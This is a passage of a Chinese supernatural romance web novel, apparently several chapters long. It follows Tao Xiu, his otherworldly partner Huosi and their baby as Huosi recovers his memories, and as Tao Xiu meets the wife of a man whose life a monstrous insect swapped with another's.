“那场大型失踪案失踪了一百多个人,这么严重的社会事件,我们能找到的当年报道竟然只有零星几篇,那几篇也没什么详细信息,只说一百多个人在城市走失,就再也没了下文。” 陶岫听着听着,眼神便越来越冷:那是因为,虫子使用了【抹除】的力量,它抹除了那家公司和那些被虫子吃掉的【美好】公司员工们的存在…… 就是因为这种能力,特别行动局无法直接调查【方子青】。 周河这时接着道:“25年前其中一个失踪人员的家属接受采访说,她在受害者房间找到了一张写了受害者名字和有着【美好公司】字样的工牌,她还发现一张写着方子青名字的名片。我们是检索【方子青】这个名字时发现了这篇报道,进而发现了这场诡异的失踪案。” “调查过后,我们本想联系当年接受采访的受害者家属和完成那篇报道的记者,可惜时间太久,他们都已经去世。我们也试着调查【美好】公司,但暂时一无所获,目前的调查结果显示,并不存在这样一家公司。” 周河神情严肃地看着青年,问道:“我相信你向我们提起【方子青】这个名字绝非无意,陶岫,那个失踪案、【方子青】和【游戏】有关系,对不对?” 陶岫沉默一瞬,抿了下唇,点了点头。 霍斯后来说过,【抹除】这种能力其实很好解决,杀掉施放能力的存在就好了。可是,出于某种他不知道的原因,霍斯没有杀死那只虫子……霍斯似乎需要那只虫子暂时活着。 所以,那只虫子【抹除】的东西暂时无法被修正。 陶岫若有所思地看着手里沉甸甸的背包:是和这些碎肉有关吗? 周河的声音再次响起来:“出于某种原因,你不能说,对吗?”他相信陶岫这样道德感很强的人不会故意向他们隐瞒信息。 陶岫神情里果然表现出某种歉意:“不是不能说,是你们无法接收到我这里的信息。你们会遗忘。” 就比如,他们或许可以记住【方子青】和【美好公司】这两个词语,因为这不是两个特指词,而是可以泛指很多存在,但是,他们不会记住他告诉他们的这两个词的某种特定内容,这些特定内容都被【抹除】掉了。 对人类来说,这种情况下他们就像在一片白色的虚无荒野里挣扎,试图拼命找到那些没有被抹除干净的标点符号来获取信息。这实在太难了。 周河一怔,没有再纠结,他利落地点了点头,坚定地道:“我们会继续调查,用我们人类的方式寻找真相。我们绝对不会放弃。” 陶岫认认真真点了点头。 …… 等到周河离去,陶岫才带着那个背包走进办公室,他并未将它带进婴儿室,而是放在了外面房间置物架上。 接着他好好给自己做了消毒,才走进婴儿室。 房间里,霍斯正盘腿坐在地毯上,傲慢地审视着陶星星之前搭的那栋秘密基地积木小房子,已经学会坐起来的陶星星被男人抱在怀里,也小脸儿严肃地看着它,小八这次难得不怎么害怕霍斯,也抱膝坐在一边看向小房子。 陶岫:“.…?”这是在干啥? 霍斯伸出手指轻轻戳了下陶星星绵软的脸蛋,又指着积木房子,煞有介事道:“小崽子,你是说,这栋房子爸爸和那三只蠢狗不许进去?” 陶星星眨巴着漂亮的大眼睛,不满又委屈地张着小嘴咿咿呀呀抗议:星星有名字哒!才不叫小崽子!爸爸果然好坏!QAQ 才不许他进妈咪的秘密基地! 小八盯着那间房子默默吃瓜,她以为老大会生气。 却不成想,霍斯俊美的脸上浮出一个傲慢又满意的微笑:“很好。小崽子,以后你和他都是我的了,我的东西绝对不许想别人,所以,从现在开始忘记你的父亲,知道么?” 陶星星可爱的小脸儿彻底呆住了,大眼睛里满是疑惑:“.…?”爸爸在说什么傻瓜笨蛋话? 陶岫再也看不下去失忆的男人在孩子面前犯蠢,他抽抽嘴角走上前,微微俯身朝陶星星伸出手。 陶星星眼睛一亮,小脸儿上立刻沁出甜丝丝的笑,他伸出短短的小胳膊,陶岫立刻将他从霍斯怀里稳稳抱了起来。 陶岫怀里抱着孩子安抚,挑了眉看向男人,再自然不过地问道:“喂过他了么?” 霍斯眸色深深地同青年对视着:“嗯。” 陶岫满意地点点头,他一边抱着陶星星温柔地逗弄,一边问出了第二个问题:“你现在在做的工作,有办法加快速度吗?” 他不知道霍斯要拿那只虫子的身体做什么,但是,他知道霍斯一定是在【拯救】这个世界。 那么,如果有办法加快进程,就能让吴言那样的人早点摆脱虫子的噩梦,也能让那些埋骨虫腹的人们早点重见天日——即使已经死了,他们也一定不愿意留在那样恶心的地方被自己的世界遗忘。 霍斯闻言瞳孔一缩,他的面上浮出一瞬间的空白的茫然:这是怎么回事? 他明明应该全知全能才对,可此时,他却无法回答青年的问题。 就好像……有谁故意精准偷走了这个问题的答案…… 没有任何存在有能力对他做这些、也没有谁有资格对他做这些,除了…… 陶岫看着男人俊美的面容上的异样,他单手稳稳抱着陶星星,有些担心地在男人面前晃了下手掌:“霍斯?” 第63章 霍斯一把抓住青年的手,挑了眉道:“我拒绝回答这个问题。” 陶岫一怔——他本来只是抱着不多的希冀问一问,毕竟,如果真的有尽快解决问题的方法,依照霍斯的性格,他早就做了。 霍斯最讨厌麻烦又迂回的解决方法,事实上,他像现在这样每天耐心地出门工作已经是天方夜谭一样的存在了。 他本以为会得到一个“不能”的答案,但没想到,霍斯会拒绝回答…… 他太过了解霍斯,霍斯会这样回答就说明,很可能存在这样的方法,但是,他不能、或者不想说。 那么,如果真的存在这样一种更直接粗暴的解决问题的方法,是什么促使霍斯放弃了它、偏偏选择了更麻烦的另一种方法呢? 陶岫若有所思地盯着眼前俊美的男人半晌,随即将自己的腕自对方掌中挣脱出来,他看似毫不在意地眨了下眼,道:“不想说就算啦。对了,外面有你需要的虫子碎肉,回家的时候你负责拿那些哦。” 说罢他便坐在了霍斯和小八中间,温柔地逗弄着陶星星玩。 霍斯身体一顿,他本能地想将陶岫和那些虫子隔离开,他不想陶岫接触虫子的一切,但即使再怎么不愿,在刚刚那些人类将虫子给陶岫时,他还是没有阻止。 就好像,他对青年的了解已经刻进了他的本能,他仿佛天然知道,有些事情他一定无法阻止对方。 于是霍斯并未多问那些碎肉,只是道了声:“我知道了。” 他看了眼自己刚刚握过青年手腕的手,又看向自己身边的陶岫和陶星星,心头下意识涌起一种强烈的保护欲。 乖乖偎依在陶岫怀里的婴儿一边玩着小八递给他的玩具,一边同霍斯对视着,有着湛红瞳仁的大眼睛发出一种澄净又奇异的光芒。 霍斯眉角一抽,第二次伸出手指轻轻点了下婴儿Q弹的脸颊:“小崽子,不许对我使用读心的能力。” 想帮陶岫找到刚刚问题答案的陶星星糯糯“唔”了声,他委屈地撇了撇嘴,白嫩的小手抓住了陶岫的衣襟,他整张可爱又委屈的小脸儿都埋进了陶岫的怀里:爸爸真的太坏了QAQ 而且……关于那个问题,这个暂时失忆的爸爸的答案是一片空白…… 但爸爸果然还是好坏啊,怎么可以戳星星的脸颊QAQ 陶岫心疼死了,他用了些力气拍了下霍斯的手背:“他还是个婴儿,不管因为什么,你碰他的时候能不能轻一点小心一点。” “还有,他叫星星,不许再小崽子小崽子的叫他。” 霍斯心说你真的对这个小崽、不,是这个叫星星的孩子太保护过度。 这个孩子明明强大得无法用绝大多数尺度衡量,怎么可能只是被戳了下脸颊就怎样了。 他明明应该教训自己的仆人不许这样养孩子,被动吐出口的话却是:“.…我知道了。” 陶岫这才垂眸看向怀里的孩子,他的视线刹那间温柔下来,他轻轻摇晃着怀里的孩子安抚着对方,等到陶星星颊边重新浮出小小甜甜的酒窝,陶岫才温和地道:“就算是爸爸,也是有隐私的,我们应该尊重别人的隐私,以后不经过爸爸的同意,星星不能读他的心,知道么?” 他弯了眼眸朝陶星星伸出手指:“我们拉钩,好不好?” 陶星星眼睛亮晶晶的,他认真点了下头,伸出柔软白嫩的小手,轻轻握住了陶岫的小指:和妈咪拉钩钩~星星一定会遵守约定的~ 陶岫忍不住亲了口陶星星的额头:“小星星真棒呀。” 霍斯却整个人僵在那里,他直视着青年:“你刚刚、让他叫我什么?”陶岫刚刚说,他是这个婴儿的……爸爸…… 陶岫一脸好笑地同难得这种表情的男人对视,道:“你有意见?” 霍斯深红的瞳仁里映满了青年和婴儿的脸,里头翻滚着可怕的占有欲,半晌,他才声音低沉地道:“你想我做他的父亲,知道会有什么后果么?” 他真的会永永远远把他锁在身边……不是作为仆人,而是作为…… 陶岫并未在意霍斯眸中一闪而过的可怕暗影,他再自然不过地随口道:“知道知道。”早就知道了。 说罢他便接着去哄怀里的孩子,任由对方用那样可怖黏着的眼神注视着自己。 …… 很快到了下班时间,霍斯用了瞬移带陶岫陶星星和小八回到了家。 他并未让那个装满碎肉的背包进那个家,早就提前使用能力将它丢进了书房。 温馨的家里,竺已经准备好了香气四溢的晚餐——他今天准备了陶岫最爱吃的汉堡肉便当和小八最喜欢的锅包肉,还炖了A市人冬天常喝的酒酿圆子。 即使这些菜搭配起来算得上奇怪,陶岫和小八还是觉得食指大动。 大家一起喂好陶星星奶粉后,霍斯说自己不需要进食,直接去了书房,陶岫看了眼他的背影,才和竺与小八一起坐在了餐桌前。 陶星星喝完奶后,就躺在陶岫身边的婴儿车里甜甜睡着了。 陶岫这才开始吃饭。汉堡肉和锅包肉都非常美味,搭配起来竟然有种奇妙的口感,酒酿也酒香四溢口感浓郁。 这是一顿很完美暖和的晚餐,陶岫却难得有些走神:霍斯以前其实也不需要进食,但是,他是会陪自己吃每一顿饭的。 从前他很爱看霍斯吃饭,这个和整个世界格格不入的男人,优雅地用餐时会给人一种沾染了烟火气的错觉。 像是看出陶岫在想什么,竺道:“我也准备了老大的晚饭哦,还热乎着,老板你等下可以直接去书房拿给他!”即使不用进食,但祂们吃到美味的东西还是会感到幸福的! 陶岫回过神来,眨了下眼:“卧室外的空间不是是混乱的么?”即使再想做什么,他也不会让自己陷入危险中给别人添麻烦。 竺眨眨眼:“自从老大把这边的身体部位吸收完,他住的地方空间应该就恢复正常了。”其实城堡里的空间恢复正常就是霍斯大人动动手指的事情,只是祂之前不想让陶岫看到祂盘踞在卧室之外的身体,才没那么做。 小八这时也道:“我们会看着小星星的。” 陶岫点点头,他弯了眼眸,道:“那我吃完饭就用饭盒拿给他。” 竺大大咧咧“哎”了声。 …… 吃完饭,陶岫拿了沉甸甸的饭盒,第一次站在了那间卧室的门前,他深吸一口气,打开了门就要踏出第一步。 下一瞬,他瞳孔一缩向下看去: 一只巨大的红色眼睛被压缩成薄薄一片,地毯一般铺在门外,它静静望着陶岫,缓缓眨动着。 陶岫竟然在那只眼睛里看到了……委屈。 陶岫:“.…?” 第64章 陶岫和地面上那只诡异的猩红眼睛对视了整整十秒,才试着友好地开口:“你好?” 他没有任何防备,因为他能感知到,这只眼珠里有一部分霍斯,但是它又不像是霍斯自己的眼珠…… 而它给人的感觉也不太像别的同伴。 那么,它到底是什么呢? 正在这时,一道空灵的声音在陶岫的脑海中响起:【你好,陶岫。好久不见。】 陶岫一怔:“我们见过?” 薄如蝉翼的血红眼睛缓缓向前蠕动着,亲昵地蹭着陶岫的脚踝:【是的。我见证了你的诞生。】 它并非任何生物,而是这个世界的规则,为了保护这个世界所有的子民而诞生。 而因为霍斯融进它这里的那缕意识,它对陶岫有着超出寻常的好感。或许就是因为这一点,霍斯一直在阻止它和陶岫见面。 这话让人有点不知道怎么回复,“见证了自己诞生”什么的又让陶岫猜测对方年纪很大,于是他摸了摸鼻尖,用了敬语:“请问您找我有什么事情么?” 眼睛的声音平静而无机质,像人工智能:【我和祂在某件事上产生了分歧。】 【祂认为应该隐瞒你一些信息,而我判断,从25年前开始,祂和我都不该对未来的走向做任何干涉,所以我来见你,将一切拨回原轨。】 它是冒着彻底消失的风险来到了青年面前。 随着这个世界的复苏和更多同伴开始苏醒,霍斯不久前一下子吞掉了几乎一半的身体部位,祂现在已经有压制它的力量——就像这只红眼睛是它的一种显示与存在方式,它本该是立体的,霍斯吞完身体就将它压缩成了二维的存在。 陶岫瞳孔一缩,他还是不知道眼前的眼睛到底是谁,他微微皱了眉,问道:“这是什么意思。” 诡异的眼睛直视着青年:【你问过祂,如何“加速”祂在做的事情的进程,事实上,原本的轨道中,那件事情的进程本就比现在要快。】 25年前,那只虫子得到了陶岫的大部分力量,只要它被那些力量催熟,它就会成为完美的空间分离剂的材料。 现在,只差一点,它的整个身体就能被彻底催熟和全部应用。就因为差的这一点,霍斯的进度就被拖慢了很多——那对兄妹去狩猎虫子的身体要费力挑选能用的地方,整个进度自然会很慢。 而补上这一点并不是没有办法。 霍斯不会对祂和陶岫共同孕育的孩子设防,所以,原本的轨道中,陶星星会通过读霍斯的心知晓一个方法,他会把这个“秘密”告诉陶岫,而陶岫也会使用那个方法。 但知晓了这个细节后,霍斯宁愿把自己的一部分记忆寄放在自己另一半身体那里,也要阻止这件事情发生。 祂那样独断专行最厌麻烦的性格,做这样幼稚又迂回的布置,仅仅是为了改变自己的孩子读自己的心这一个微小节点所造成的走向。 眼睛:【陶岫,你最后的力量就是尽快结束一切的关键。知道了这个信息,不久后你才会拥有选择的权利。】 陶岫体内最后的力量就是差的那一点。 在人类世界里,对“拯救”这件事来说,霍斯的过于强大是一种束缚,而祂们之中最特别的陶岫,才是天生适合拯救的存在。 或许陶岫和这颗星球的缘分在他诞生之初就开始了,现在的一切都是那团绿色的灵魂当初在黑暗中看到第一个温暖的人类时产生的回响。 陶岫闻言蓦然睁大了眼睛,苍绿的眼眸中呈现一种毫无方向感的茫然。 沉默半晌,他的神情缓缓变得平静与坚定,他半蹲下来温和地同那双眼睛对视:“我是不会随便怀疑霍斯的做法的。我想知道,你到底是谁?又为什么要告诉我这些?” 那只眼睛里又缓缓浮现出刚刚见到陶岫时的委屈,它的声音却依旧空灵淡漠:【我是规则。我本身只忠于我存在的逻辑,并不具备具体的情感。但霍斯放在我这里的意识,会促使我做出超出逻辑之外的事情、产生我本不会产生的感情。】 比如显现出来的这种“委屈”实际上属于那缕霍斯的意识,它在向青年撒娇。 【我和那缕意识判断,让原本会发生的事情发生,才是对你的保护。】 陶岫思索一瞬,垂眸一笑:“如果你说的是真的,那看来,原本的轨道里我一定会受到不小的伤害。” 不然霍斯不会那么做。 他知道的,霍斯爱他,因为爱,所以会解他。 所以,不管是他使用力量帮林枚还是答应帮张乐他们,霍斯从来没有阻止过。 而现在霍斯这样做,就意味着……那种伤害会大到让霍斯无法接受。 听到青年这样说,猩红眼睛中的瞳仁微微一缩,那缕霍斯的意识因为慌乱迅速占据了主导:【我、我比任何人都不想伤害你,我们——】 它们也不想原定轨道里的事情发生,只是它们判断,和身体上的伤害比起来……霍斯出手干涉隐瞒信息所造成的另一种伤害对青年的打击更大…… 强大是一种多么可怕的束缚啊,霍斯那样强大到恐怖的存在都要在这种束缚里面临这种两难选择…… 陶岫伸出白皙柔软的手,手指轻轻触碰了那只冰凉的红眼睛,他弯了眼眸,声音温柔得不可思议:“告诉我这些真的多谢啦。” “说实话,我确实爱人类的世界,但也爱霍斯和我的孩子,爱我自己,爱我的生活和那些朋友。我知道,你们已经知晓了某一种未来,我不想提前知道那种未来具体是什么,不过,当你们口中所谓的选择到来时,我会迈出无愧本心的一步。” 被霍斯意识主导的眼睛难得怔怔地看着青年,说不出话来。 正在这时,“踏踏”的脚步声在走廊深处响起来,陶岫动作一顿:他知道那是霍斯的脚步声。 于是他看向那只猩红的眼睛,面上浮出个无奈的笑:“趁着他还没过来,快溜走吧。” 脚步声刚响起时,这眼睛被骇得有一瞬失神,它一看就很怕霍斯。 【规则】一愣,它安静地眨了下,再次亲昵地蹭了蹭青年的手指,下一瞬便彻底消失不见。 …… 那只眼睛消失后,高大俊美的男人很快就走到了陶岫面前,他安静地注视着青年,声音平静而充满磁性:“你是来履行男仆的义务打扫这里吗?” “既然你想让我做那孩子的父亲,那么你就不必再做男仆,我们可以建立新的关系。我勉为其难允许你做这里的另一个主人——” “啊那还真是让人感动。”陶岫一脸好笑地打断了他,他这才离开那间卧室几步,站在深得无法窥探铺满了金色毯子的走廊里观赏黑暗散去后华美无比的城堡内部。 看了一会儿,陶岫才倚在走廊的围栏上静静地看向他,道:“既然你已经决定干涉和阻止某件事情的发生,为什么刚刚不阻止那只眼睛对我说那些话?” 他明白他的爱人有多强大。 他不认为霍斯失忆后就会推翻他失忆前的布置。 而这里可是霍斯的地盘啊,霍斯怎么可能不知道那只眼睛来了、并且对他说了什么。 他又怎么可能阻止不了。 俊美的男人瞳孔一缩。 其实吞噬掉一半身体部位回来后,他就一直知道他的记忆中缺了什么,他也知道,他的身体和本能对陶岫如此眷恋,那些缺失的部分很可能就和陶岫有关。他很可能和陶岫发生过什么。 听完那只眼睛的话后,他更加确定了这一点。 他对陶岫有着不可抑制的占有欲与疯狂的欲|望,拿回那些记忆后,他就拥有了和这个青年的羁绊,就能比现在更快地得到他——即使,陶岫可能和别人有过孩子。 但那又怎么样呢?那个孩子无论是谁的都无法影响——陶岫和孩子,他都要。 他知道那些记忆在哪里,也知道如何拿回它们,但是……他的身体和本能在阻止他…… 今天在植物园,青年问他一个问题时,他发现自己给不出答案,有谁精准地拿走了那个答案,而能对他做这些的,只有他自己…… 所以,是他自己在阻止青年接触那些信息…… 而那只眼睛,在破坏他宁愿失去一部分记忆都要完成的计划,他明明应该直接碾碎它……但是…… 陶岫依旧温柔又专注地注视着他,他温和地问了第二次:“霍斯,为什么呢?” 霍斯俊美的面上没什么神情,他只是微微俯首,直直看着青年,猩红的眸子里映满了对方的倒影。 正在这时,陶岫随身携带的手机发出“滴”地一声响,那是有消息进来的声音。或许是因为他没关上那两扇门,手机到了这里竟然还有信号。 陶岫眨了下眼,还是拿出手机打开了它。 是周河发来的消息,他说特别行动局查到了一条【美好】公司的消息,只有这么一条,陶岫感兴趣的话,明天上午可以过来听他们的会议。 霍斯看着查看手机消息的青年,唇线紧绷了一瞬,手缓缓抬起却又放下,他并未阻止。 就像他刚刚并未阻止那只愚蠢的眼睛进他的城堡。 他看着陶岫敲了个“好”字回复给那个人类,却什么都没做。 明明他不想青年和那些人类有所接触。 其实他能轻轻松松掐断所有的信号,他也能把这个美丽的青年永远锁在他的城堡,他还有无数方法让这个青年只看他一个人。 他却没有做这其中任何一件事。 就像陶岫刚刚问他的那句:为什么呢? 这是为什么呢? 陶岫这时已经回复完消息,他抬起头,重新用那种温柔又润湿的眼神注视着他。 霍斯看了那双眼睛很久,才声音沙哑地答道:“我的身体在撕扯。我身体里一部分告诉我,我应该狠狠碾碎那只眼睛永远不让你接触它。另一部分却告诉我……” “你是永远自由的。即使是我,也不能夺走你哪怕万分之一的自由。” 即使这种剥夺,很可能冠以了保护的名义。 这种狠狠压制了他的本性的流淌在他身体里的浓烈感情,到底是什么呢?如果他拿回那些记忆,是不是就知道了? “砰”地一声轻响,陶岫倾身抱住了霍斯,他紧紧抱着男人的腰,将脸埋进了对方满是馥郁冷香的宽阔怀抱。 他闭了眼,轻轻道:“霍斯,小星星是我的孩子,也是你的孩子,他流着我们两个人的血。” 即使有过这种猜测,霍斯还是身体一僵,蓦然睁大了眼睛。 陶岫却接着道:“所以,回来吧。即使是过家家一样的失忆闹剧,我也不想你再不记得我们了。我想和你一起吃饭,一起散步,一起照顾陶星星,一起回忆我们共同度过的那些细碎日常。” “无论我之后会做出怎样的选择,我们一家人总会在一起的,不是么?” 陶岫微微踮起脚尖,将一个吻印在男人冰凉的唇上:“霍斯,无论会发生什么,有你和陶星星在,我都不会害怕……” …… 不知过了多久,一条有力的手臂覆上了青年的腰。 金碧辉煌的宫殿霎时陷入一片浓重的黑暗里,天花板在摇晃、大地在摇晃、两个世界仿佛都在摇晃。 空间全部扭曲,无数深蓝的触手自黑暗中潮水一般涌来,争先恐后地钻入了霍斯的脊椎。 整个世界仿佛都被那些触手填|满、整个世界都在畅快地吟唱,赞美着祂回归完整的一瞬。 … 等到将那些记忆送回,男人另一半还有着照应未苏醒的子民义务的身体部位重新回到了原位。 黑暗如退潮般缓缓消失,金碧辉煌的城堡里,被刚刚那一幕震撼的陶岫站在原处,腰间依旧横着那只有力的手臂。 回过神来,陶岫对上了一双美丽而神情的猩红眼睛,霍斯抬起另一只手,轻轻捏上青年的下颌,他道:“亲爱的,我回来了……” 陶岫一怔,觉得自己眼眶莫名有些酸——即使,霍斯根本没失忆多久。 他深吸一口气,弯了眼眸道:“总之,先吃饭吧。刚好我也又饿了,可以陪你吃一点。你刚好忙完了吧,我们去客厅吃。” 说着他拉起男人的腕向那间卧室走去,经过那道门时,又顺便拿起刚刚放在那里的饭盒。 陶岫拉着霍斯走过那间卧室,打开了那扇杂物间的门——明亮的灯光自门外照亮了他和霍斯的脸颊,小八和竺逗着小婴儿的声音传了过来。 接着,陶星星稚嫩可爱的声音切切实实地响了起来,他终于用嘴巴和还未发育完全的声带说出了人生中第一句话:“爸爸、妈咪、回来了~” 第65章 “小星星……会说话了?” 温馨的客厅里,小八激动的声音响了起来。 已经来到客厅的陶岫把饭盒放在一旁,连忙抱起陶星星,面上满是惊喜的笑意:正常来说,婴儿应该是九个月以后才能学会说话,但小星星竟然这么快就学会了。 他真的好棒呀。 陶星星偎依在陶岫的怀里,伸出柔软的小手触碰着青年的脸颊,颊边是甜甜的笑意,他甚至还没开始长牙,说话很不熟练,声音糯糯的:“mua、mua~妈咪~” 陶岫觉得自己心脏软得快要化开,他愣了半晌,才轻轻道:“嗯,我在。” 霍斯见状也不甚熟练地朝婴儿伸出一根手指,试图戳一下对方绵软的脸颊,刚刚因为激动叫出爸爸的陶星星却别扭地转了头,往陶岫的怀里蹭了蹭,不想会霍斯。 想起今天在植物园得罪了自己孩子的霍斯:“……” 他眉角隐晦地抽动了一下,很想说身为他的孩子怎么可以这么娇气为这点事情生气。 但看了眼满眼笑意把婴儿无比宝贝地抱在怀里的青年,霍斯还是咽下了那些话。 陶岫一点都不觉得刚出生不到两个月就会开口说话的婴儿是个小怪物,反而觉得陶星星真的太棒太聪明了,他看着怀里的婴儿,爱意几乎要从明亮温柔的眼睛里溢出来。 不知想到什么,他看向霍斯,再自然不过地道:“明天上午我要去趟特别行动局,你方便帮我照看下小星星和植物园吗?一上午就可以,下午我很快回植物园。” 明天是临时行程,他来不及发闭园通知,如果直接关门会让客人白跑一趟。 说罢他温和地看向小八:“明天你也辛苦啦。”年底了,发奖金的时候应该在合同的基础上多给小姑娘发一些。 小八甜甜笑了,摇了摇头:在植物园工作她真的很开心。 本想和对方一起去的霍斯看了陶岫半晌,到底吐出一句:“好。” 陶岫抱了小朋友好一会儿,才将他重新放回婴儿车,他拎起一旁的饭盒朝霍斯看过去:“现在,我们一起去吃饭吧。” 霍斯的眼神刹那间温柔下来,他专注地望着青年,道了声:“好。” …… 第二天,陶岫把写了所有需要注意的细节的便签本给了霍斯,接着自己打车去了特别行动局。 大楼大厅,照旧是周河来接他,他已经和陶岫算得上熟,于是直接道:“抱歉啊,临时出了点事情,我们的会议刚刚确定推迟到十点了,我刚要和你说你就到了。” 陶岫跟着他走进电梯,道:“没关系,我可以等一下。”顿了下,他问道:“方便问下出什么事了么?” 周河:“当然。”没什么不能说的。 只是他说完便轻轻叹了口气,道:“是吴言出事了。我不是一直不懂成运父子都出事了,他还回那个别墅做司机么?今天我才知道,他这两天为了赚钱注册了网约车,昨晚他接到了第一个单子开始跑第一趟,只是还没拉到客人就出车祸了。” 车祸不算异常事件,但仔细想想也很诡异:一个高材生跑去做成运父子这种人的司机、哪怕父子俩现在都在局子里他也还要回去继续做司机就够诡异了,现在这个人需要钱临时去跑网约车看起来是正常,但与此同时,他竟然没有投出任何一份简历——明明他的学历和他的项目经历足够支撑他找到一份高薪工作。 开始下行的电梯里,周河说着说着面上浮出更多疑惑:“还有更奇怪的事情,今天吴言妻子来局里了,我们查了下她的背景,结果让我们大吃一惊:那位女士的学历与经历优秀得不逊于吴言,现在却狼狈得在到处打零工。她似乎生病了,脸色不是很好。” “不过,她真的是个非常勇敢聪明的女人,她的丈夫出于对她的保护,并没有告诉她自己在别墅经历的那些异常,她却还是推断出她丈夫一定经历了什么不同寻常的事情,她认为那些异常事件一定在影响他们一家。吴言出车祸后,她安顿好他和孩子后找到了我们局里,想要一个真相。” “现在,蒋局正在接待她。所以我们的会议才推迟了。” 陶岫瞳孔一缩,他垂在身下的手缓缓蜷了起来:方子青和虫子交换了成杨和吴言的人生,连带着影响了那位女士和他们患了自闭症的孩子的命运…… 这对那一家来说,实在太残酷了…… 只有等到霍斯完成他的工作彻底杀死虫子之后,那一家的人生轨迹才能恢复正常。 他们一家的事情其实与方子青和虫子【抹除】的能力没什么关系,是可以说出的部分。 可他们一家早晚会回到正常的人生轨道里,知晓了这一点对现在还不能回去的他们来说,是不是一种伤害呢? 而他做出这样的判断,又是不是太傲慢…… 陶岫看向周河,有点难过又茫然地问道:“如果真相很残忍呢?那位女士,她、她会想知道吗?这会不会是对她和她家人的二次伤害?” 周河瞳孔一缩,他看了陶岫半晌,才摇摇头,诚实地道:“陶岫,我不知道。我认为,面对这种事情,如果不是本人,是没有立场做出判断的。” 陶岫垂眸思索一瞬,他看向周河,苍绿的眼眸里满是坚定,他道:“我可以见见她么?” 周河说得对,只有那位女士才有选择要不要知晓真相的权利。 周河一笑,拍了拍陶岫的肩,道:“好。我直接带你去见蒋局。” 顿了下,他轻轻叹了口气,用像是对待朋友一般的口吻说道:“陶岫,不要给自己施加太多道德困境,这些事情里没有一件是你的错,也没有一件是你的义务。” 事实上,在那位霍斯先生出现前,当初高层对陶岫的定位和战略目标真的说出来不会有多光彩。 就连他当初去接近青年,也并未将对方真的当成同类、更别说朋友。 而真的接触过陶岫本人后才能体会到,这个青年真的太…… 面对陶岫这样的人,他是会愧怍的…… 陶岫看似并不知道周河在想什么,电梯已经到达,他踏出去回望着周河,眸色明亮又坦诚,他道:“多谢提醒,我会注意的。” 说着他颊边浮出个浅浅的涡旋:“你放心,我做的一切都出于我的本心,是我愿意这样做的,没有谁逼我。” “至于别的,论迹不论心,我们每次见面和相处都很愉快,我没有因为你和特别行动局受到过任何伤害,相反,你们还帮了我不少忙。是我要感谢你们。” “所以,你真的不必有什么负担。” 周河蓦然睁大了眼睛,半晌,他才回过神来,大步踏出电梯,边带着对方走向蒋周的办公室,边感叹道:“陶岫,你的能力还包括读心吗?” 陶岫眨了下眼:“没有哦。” 说罢他不知想起什么,眼神瞬间温柔下来:不过,陶星星会读心啊。 陶星星是世界上最可爱最厉害的小朋友。 第66章 周河带着陶岫来到蒋周办公室时,吴言的妻子恰巧推开门要离开。 她穿着朴素,身形削瘦,鼻梁上架着副银丝眼镜,即使脸色憔悴,她整个人看起来也有种疏离的书卷气。 迎面碰上周河陶岫两人时她一怔,就要往旁边走几步给对方让开路。 陶岫并未怎么绕圈子或是试探,他直接朝她绅士地伸出手,温和地道:“您好,我是陶岫,算是知道一些您家里的事情,但我不认为这些信息能立刻改变您家里现在的状况。在这个前提下,您还想知道那些么?” 女人瞳孔一缩身体僵在那里,她惊疑不定地打量着陶岫:这个陌生人的话实在太奇怪和突兀了,但如果没骗人的话,这种说法却足够真诚…… 女人蓦然转身朝办公室里的蒋周看去,带着镇定的询问。 即使周河还没向蒋周报告,已经差不多猜到过程的蒋周也点了点头,道:“乔女士,你完全可以信任陶岫。” 女人这才握住陶岫的手,道:“你好,我是乔鸢。”顿了下,她的眸子里浮出无比坚定的神情,道:“如果您真的可以告诉我真相,我会感激不尽。” 即使她和她的丈夫注定要永远陷在那种诡异的诅咒所造成的痛苦里,那他们也选择清醒地痛苦,这是他们保持自我和人格的方法。 而且,只有清醒地知道“诅咒”发生的逻辑和缘由,他们才有机会把他们的孩子从这场诅咒中拯救出去。 陶岫面上浮出点钦佩,他正要说什么,蒋周的声音再次响起来:“你们进来聊吧,这里很方便。” 说着他看向周河:“周河,你负责记录。” 陶岫并未提出什么异议,他礼貌地将乔鸢让进办公室,接着自己也走了进去。 …… “我也不清楚,我们一家怎么会落到那样的境地里。”乔鸢语气平静地讲述着,补充了比刚刚向蒋周叙述时更多的细节:“就好像有一天醒来,一切看似很正常,我却觉得哪哪都变了……” 她已经记不清自己是从什么时候开始感觉到生活不对劲的。 在她的记忆里,她和她丈夫都毕业自某所名校,读的都是计算机相关的专业,她丈夫研究方向更细分,和人工智能有关。他们是校园情侣,在读书的时候已经开始试着一起创业了。 但是,有一天醒来,她的丈夫变成了成家的司机,而她则是个到处打零工的家庭妇女,他们有自闭症的孩子病情恶化得更加严重。 她和吴言都觉得,他们的人生似乎不该是这样,但无论怎样回想,他们都只能想起:八年前,他们一起毕业后,吴言去做了刚刚创立一家科技公司的成杨的司机,而在一年后她怀了宝宝,做了家庭妇女,孩子出生后被查出自闭症,需要治疗和上特殊学校,这些都需要花不少钱,吴言做司机的工资并不高,于是她不得不外出打零工补贴家用。 “如果切割掉我们两个在学校的经历,这听起来似乎没什么问题,”乔鸢眼眶有些红:“但是,我们偏偏记得在学校里经历的一切啊,我们记得那时我们的初创公司已经拿到了融资,吴言怎么可能去做成杨的司机?” “而我,不瞒你们说,我是很要强的性格,我相信,即使我有了孩子,也绝不会放弃自己的事业。我非常爱我的孩子,我和吴言会尽我们所有去爱他给他一切,我们可以为他付出生命。但我是搞研发的,我非常热爱我的领域,我在学校时就认定我会用一生去探索它,我是绝对不会放弃的。” 陶岫同情地看着乔鸢,脑海中很快出一条时间线:八年前,刚毕业的吴言和乔鸢创立了一家科技公司,公司发展得很好,他们的孩子出生后虽然被确诊了自闭症,但因为父母的爱与很好的家庭条件及资源,也得到了较好的呵护与治疗。 但是,公司发展了三年后,也就是距今五年前,他们遇到了虫王。 虫王为了得到大量数据升级自己体内人工智能的部分,威胁引诱吴言与乔鸢通过公司产品替它收集数据,他们选择了拒绝和报警。 于是,虫子调换了成杨一家和吴言一家的人生,从此之后,吴言成为了司机,成杨则代替了吴言乔鸢,在他们共同创立的公司里做了老板。 在成杨乔鸢做司机和家庭主妇的五年里,他们的孩子也因为突然拮据的家庭环境情况不断恶化。 而虫子的所有能力都有缺陷,它无法将他们的人生彻彻底底换过来,涉及他们交换人生前的时间,它只能编造些虚假的共同记忆充当经历——它甚至无法编织太久之前的记忆,而只能往前编织三年。 三年的虚假记忆再加交换了人生的五年,所以现在的乔鸢一家会觉得自己八年前和八年后的人生彻底割裂…… 